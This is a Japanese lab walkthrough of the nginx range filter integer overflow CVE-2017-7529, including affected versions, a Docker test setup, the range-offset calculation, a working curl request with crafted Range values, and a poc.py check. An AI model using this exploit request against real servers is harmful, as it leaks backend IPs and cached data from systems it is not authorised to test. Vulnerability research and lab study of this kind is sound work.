
nginx標準モジュールを使用する場合、攻撃者は悪意を持って構築された range フィールドを含むヘッダーリクエストを送信することで、レスポンス内のキャッシュファイルヘッダー情報を取得できます。一部の設定では、キャッシュファイルヘッダーにバックエンドサーバーのIPアドレスやその他の機密情報が含まれる可能性があり、情報漏洩につながります。
参考:【脆弱性分析】Nginx range フィルタ整数オーバーフロー脆弱性 (CVE–2017–7529) 早期警告分析
本脆弱性は、0.5.6 - 1.13.2バージョン内のデフォルト設定モジュールを使用するすべてのNginxに影響します。キャッシュを有効にしているだけで、攻撃者は悪意のあるリクエストを送信してリモート攻撃を行い、情報漏洩を引き起こす可能性があります。
Nginxサーバーがプロキシキャッシュを使用している場合、攻撃者はこの脆弱性を利用して、サーバーのバックエンドの実IPアドレスやその他の機密情報を取得できます。
私たちの分析により、この脆弱性は悪用難易度が低く、low-hanging-fruit に分類される脆弱性であり、実際のネットワーク攻撃においても一定の悪用価値があると判断されました。
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80の前の 8000 は物理マシンのポートを表し、任意に指定できます。
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Content-Length: 16585 が表示されたら、この数値より大きい値、例えば 17208 を選択します。2番目の range 値は 0x8000000000000000-17208、すなわち 9223372036854758600 です。
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
結果:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png